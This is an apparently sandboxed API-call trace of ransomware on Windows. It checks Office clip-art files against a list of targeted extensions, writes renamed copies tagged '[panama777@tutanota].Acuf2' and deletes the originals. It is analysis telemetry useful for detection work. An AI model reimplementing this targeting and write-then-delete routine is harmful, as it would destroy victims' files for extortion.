	[0276.820] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107528.WMF") returned 63
	[0276.820] lstrlenW (lpString=".jpg") returned 4
	[0276.820] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0277.011] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0277.011] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0277.011] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107744.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107744.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0277.110] GetLastError () returned 0x0
	[0277.110] ReadFile (in: hFile=0x388, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c0fed4*=0x138c, lpOverlapped=0x0) returned 1
	[0277.117] WriteFile (in: hFile=0x358, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0x1390, lpNumberOfBytesWritten=0x2c0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c0fc9c*=0x1390, lpOverlapped=0x0) returned 1
	[0277.118] ReadFile (in: hFile=0x388, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c0fed4*=0x0, lpOverlapped=0x0) returned 1
	[0277.118] WriteFile (in: hFile=0x358, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c0fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0277.118] SetEndOfFile (hFile=0x358) returned 1
	[0277.118] CloseHandle (hObject=0x358) returned 1
	[0277.118] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0277.118] SetEndOfFile (hFile=0x388) returned 1
	[0277.120] CloseHandle (hObject=0x388) returned 1
	[0277.120] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107744.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0277.121] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107744.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107744.wmf")) returned 1
	[0277.121] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107744.WMF") returned 63
	[0277.121] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107744.WMF") returned 63
	[0277.121] lstrlenW (lpString=".doc") returned 4
	[0277.121] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0277.121] lstrlenW (lpString=".docx") returned 5
	[0277.121] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0277.121] lstrlenW (lpString=".pdf") returned 4
	[0277.121] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0277.121] lstrlenW (lpString=".xls") returned 4
	[0277.121] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0277.121] lstrlenW (lpString=".xlsx") returned 5
	[0277.121] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0277.121] lstrlenW (lpString=".ppt") returned 4
	[0277.121] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0277.121] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107744.WMF") returned 63
	[0277.121] lstrlenW (lpString=".zip") returned 4
	[0277.121] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0277.121] lstrlenW (lpString=".rar") returned 4
	[0277.121] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0277.121] lstrlenW (lpString=".bz2") returned 4
	[0277.121] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0277.121] lstrlenW (lpString=".7z") returned 3
	[0277.121] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0277.121] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107744.WMF") returned 63
	[0277.121] lstrlenW (lpString=".dbf") returned 4
	[0277.122] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0277.122] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107744.WMF") returned 63
	[0277.122] lstrlenW (lpString=".1cd") returned 4
	[0277.122] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0277.122] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107744.WMF") returned 63
	[0277.122] lstrlenW (lpString=".jpg") returned 4
	[0277.122] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0277.122] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0277.122] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0277.122] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145168.JPG.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145168.jpg.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0277.123] GetLastError () returned 0x0
	[0277.123] ReadFile (in: hFile=0x388, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c0fed4*=0x8379, lpOverlapped=0x0) returned 1
	[0277.136] WriteFile (in: hFile=0x358, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0x8380, lpNumberOfBytesWritten=0x2c0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c0fc9c*=0x8380, lpOverlapped=0x0) returned 1
	[0277.138] ReadFile (in: hFile=0x388, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c0fed4*=0x0, lpOverlapped=0x0) returned 1
	[0277.138] WriteFile (in: hFile=0x358, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c0fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0277.138] SetEndOfFile (hFile=0x358) returned 1
	[0277.138] CloseHandle (hObject=0x358) returned 1
	[0277.138] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0277.138] SetEndOfFile (hFile=0x388) returned 1
	[0277.140] CloseHandle (hObject=0x388) returned 1
	[0277.140] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145168.JPG.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0277.141] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145168.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145168.jpg")) returned 1
	[0277.143] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145168.JPG") returned 63
	[0277.143] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145168.JPG") returned 63
	[0277.143] lstrlenW (lpString=".doc") returned 4
	[0277.143] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0277.143] lstrlenW (lpString=".docx") returned 5
	[0277.143] lstrcmpiW (lpString1=".docx", lpString2="8.JPG") returned -1
	[0277.143] lstrlenW (lpString=".pdf") returned 4
	[0277.143] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0277.143] lstrlenW (lpString=".xls") returned 4
	[0277.143] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0277.143] lstrlenW (lpString=".xlsx") returned 5
	[0277.143] lstrcmpiW (lpString1=".xlsx", lpString2="8.JPG") returned -1
	[0277.143] lstrlenW (lpString=".ppt") returned 4
	[0277.143] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0277.143] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145168.JPG") returned 63
	[0277.143] lstrlenW (lpString=".zip") returned 4
	[0277.143] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0277.143] lstrlenW (lpString=".rar") returned 4
	[0277.143] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0277.143] lstrlenW (lpString=".bz2") returned 4
	[0277.144] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0277.144] lstrlenW (lpString=".7z") returned 3
	[0277.144] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0277.144] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145168.JPG") returned 63
	[0277.144] lstrlenW (lpString=".dbf") returned 4
	[0277.144] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0277.144] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145168.JPG") returned 63
	[0277.144] lstrlenW (lpString=".1cd") returned 4
	[0277.144] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0277.144] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145168.JPG") returned 63
	[0277.144] lstrlenW (lpString=".jpg") returned 4
	[0277.144] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0277.144] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0277.144] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0277.144] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145361.JPG.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145361.jpg.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0277.145] GetLastError () returned 0x0
	[0277.145] ReadFile (in: hFile=0x394, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c0fed4*=0x5285, lpOverlapped=0x0) returned 1
	[0277.155] WriteFile (in: hFile=0x390, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0x5290, lpNumberOfBytesWritten=0x2c0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c0fc9c*=0x5290, lpOverlapped=0x0) returned 1
	[0277.156] ReadFile (in: hFile=0x394, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c0fed4*=0x0, lpOverlapped=0x0) returned 1
	[0277.156] WriteFile (in: hFile=0x390, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c0fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0277.156] SetEndOfFile (hFile=0x390) returned 1
	[0277.156] CloseHandle (hObject=0x390) returned 1
	[0277.156] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0277.156] SetEndOfFile (hFile=0x394) returned 1
	[0277.159] CloseHandle (hObject=0x394) returned 1
	[0277.159] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145361.JPG.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0277.159] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145361.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145361.jpg")) returned 1
	[0277.159] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145361.JPG") returned 63
	[0277.159] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145361.JPG") returned 63
	[0277.159] lstrlenW (lpString=".doc") returned 4
	[0277.159] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0277.159] lstrlenW (lpString=".docx") returned 5
	[0277.159] lstrcmpiW (lpString1=".docx", lpString2="1.JPG") returned -1
	[0277.159] lstrlenW (lpString=".pdf") returned 4
	[0277.159] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0277.159] lstrlenW (lpString=".xls") returned 4
	[0277.159] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0277.159] lstrlenW (lpString=".xlsx") returned 5
	[0277.159] lstrcmpiW (lpString1=".xlsx", lpString2="1.JPG") returned -1
	[0277.159] lstrlenW (lpString=".ppt") returned 4
	[0277.159] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0277.159] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145361.JPG") returned 63
	[0277.159] lstrlenW (lpString=".zip") returned 4
	[0277.160] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0277.160] lstrlenW (lpString=".rar") returned 4
	[0277.160] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0277.160] lstrlenW (lpString=".bz2") returned 4
	[0277.160] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0277.160] lstrlenW (lpString=".7z") returned 3
	[0277.160] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0277.160] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145361.JPG") returned 63
	[0277.160] lstrlenW (lpString=".dbf") returned 4
	[0277.160] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0277.160] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145361.JPG") returned 63
	[0277.160] lstrlenW (lpString=".1cd") returned 4
	[0277.160] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0277.160] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145361.JPG") returned 63
	[0277.160] lstrlenW (lpString=".jpg") returned 4
	[0277.160] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0277.161] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0277.161] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0277.161] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145669.JPG.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145669.jpg.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0277.161] GetLastError () returned 0x0
	[0277.161] ReadFile (in: hFile=0x394, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c0fed4*=0x7c6a, lpOverlapped=0x0) returned 1
	[0277.170] WriteFile (in: hFile=0x390, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0x7c70, lpNumberOfBytesWritten=0x2c0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c0fc9c*=0x7c70, lpOverlapped=0x0) returned 1
	[0277.171] ReadFile (in: hFile=0x394, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c0fed4*=0x0, lpOverlapped=0x0) returned 1
	[0277.171] WriteFile (in: hFile=0x390, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c0fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0277.171] SetEndOfFile (hFile=0x390) returned 1
	[0277.171] CloseHandle (hObject=0x390) returned 1
	[0277.171] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0277.171] SetEndOfFile (hFile=0x394) returned 1
	[0277.174] CloseHandle (hObject=0x394) returned 1
	[0277.174] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145669.JPG.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0277.174] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145669.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145669.jpg")) returned 1
	[0277.174] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145669.JPG") returned 63
	[0277.174] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145669.JPG") returned 63
	[0277.175] lstrlenW (lpString=".doc") returned 4
	[0277.175] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0277.175] lstrlenW (lpString=".docx") returned 5
	[0277.175] lstrcmpiW (lpString1=".docx", lpString2="9.JPG") returned -1
	[0277.175] lstrlenW (lpString=".pdf") returned 4
	[0277.175] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0277.175] lstrlenW (lpString=".xls") returned 4
	[0277.175] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0277.175] lstrlenW (lpString=".xlsx") returned 5
	[0277.175] lstrcmpiW (lpString1=".xlsx", lpString2="9.JPG") returned -1
	[0277.175] lstrlenW (lpString=".ppt") returned 4
	[0277.175] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0277.175] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145669.JPG") returned 63
	[0277.175] lstrlenW (lpString=".zip") returned 4
	[0277.175] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0277.175] lstrlenW (lpString=".rar") returned 4
	[0277.175] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0277.175] lstrlenW (lpString=".bz2") returned 4
	[0277.175] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0277.175] lstrlenW (lpString=".7z") returned 3
	[0277.175] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0277.175] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145669.JPG") returned 63
	[0277.175] lstrlenW (lpString=".dbf") returned 4
	[0277.175] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0277.175] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145669.JPG") returned 63
	[0277.175] lstrlenW (lpString=".1cd") returned 4
	[0277.175] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0277.175] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145669.JPG") returned 63
	[0277.175] lstrlenW (lpString=".jpg") returned 4
	[0277.175] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0277.183] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0277.183] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0277.183] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145810.JPG.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145810.jpg.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0277.183] GetLastError () returned 0x0
	[0277.183] ReadFile (in: hFile=0x358, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c0fed4*=0x8fb8, lpOverlapped=0x0) returned 1
	[0277.185] WriteFile (in: hFile=0x394, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0x8fc0, lpNumberOfBytesWritten=0x2c0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c0fc9c*=0x8fc0, lpOverlapped=0x0) returned 1
	[0277.186] ReadFile (in: hFile=0x358, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c0fed4*=0x0, lpOverlapped=0x0) returned 1
	[0277.186] WriteFile (in: hFile=0x394, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c0fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0277.187] SetEndOfFile (hFile=0x394) returned 1
	[0277.187] CloseHandle (hObject=0x394) returned 1
	[0277.187] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0277.187] SetEndOfFile (hFile=0x358) returned 1
	[0277.189] CloseHandle (hObject=0x358) returned 1
	[0277.189] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145810.JPG.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0277.189] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145810.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145810.jpg")) returned 1
	[0277.189] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145810.JPG") returned 63
	[0277.189] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145810.JPG") returned 63
	[0277.189] lstrlenW (lpString=".doc") returned 4
	[0277.189] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0277.189] lstrlenW (lpString=".docx") returned 5
	[0277.190] lstrcmpiW (lpString1=".docx", lpString2="0.JPG") returned -1
	[0277.190] lstrlenW (lpString=".pdf") returned 4
	[0277.190] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0277.190] lstrlenW (lpString=".xls") returned 4
	[0277.190] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0277.190] lstrlenW (lpString=".xlsx") returned 5
	[0277.190] lstrcmpiW (lpString1=".xlsx", lpString2="0.JPG") returned -1
	[0277.190] lstrlenW (lpString=".ppt") returned 4
	[0277.190] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0277.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145810.JPG") returned 63
	[0277.190] lstrlenW (lpString=".zip") returned 4
	[0277.190] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0277.190] lstrlenW (lpString=".rar") returned 4
	[0277.190] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0277.190] lstrlenW (lpString=".bz2") returned 4
	[0277.190] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0277.190] lstrlenW (lpString=".7z") returned 3
	[0277.190] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0277.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145810.JPG") returned 63
	[0277.190] lstrlenW (lpString=".dbf") returned 4
	[0277.190] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0277.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145810.JPG") returned 63
	[0277.190] lstrlenW (lpString=".1cd") returned 4
	[0277.190] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0277.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145810.JPG") returned 63
	[0277.190] lstrlenW (lpString=".jpg") returned 4
	[0277.190] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0277.230] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0277.230] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0277.230] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145879.JPG.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145879.jpg.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) 

Thread:
	id = 96
	os_tid = 0x674

	[0248.693] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x10000) returned 0x562fc0
	[0248.693] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x10000) returned 0x572fc8
	[0248.694] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x10) returned 0x4f4d28
	[0248.694] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x6) returned 0x521870
	[0248.694] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x10) returned 0x4f4d40
	[0248.694] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x100000) returned 0x3900020
	[0248.694] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x10) returned 0x4f4d58
	[0248.694] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4f4d58, Size=0x20) returned 0x51b0b8
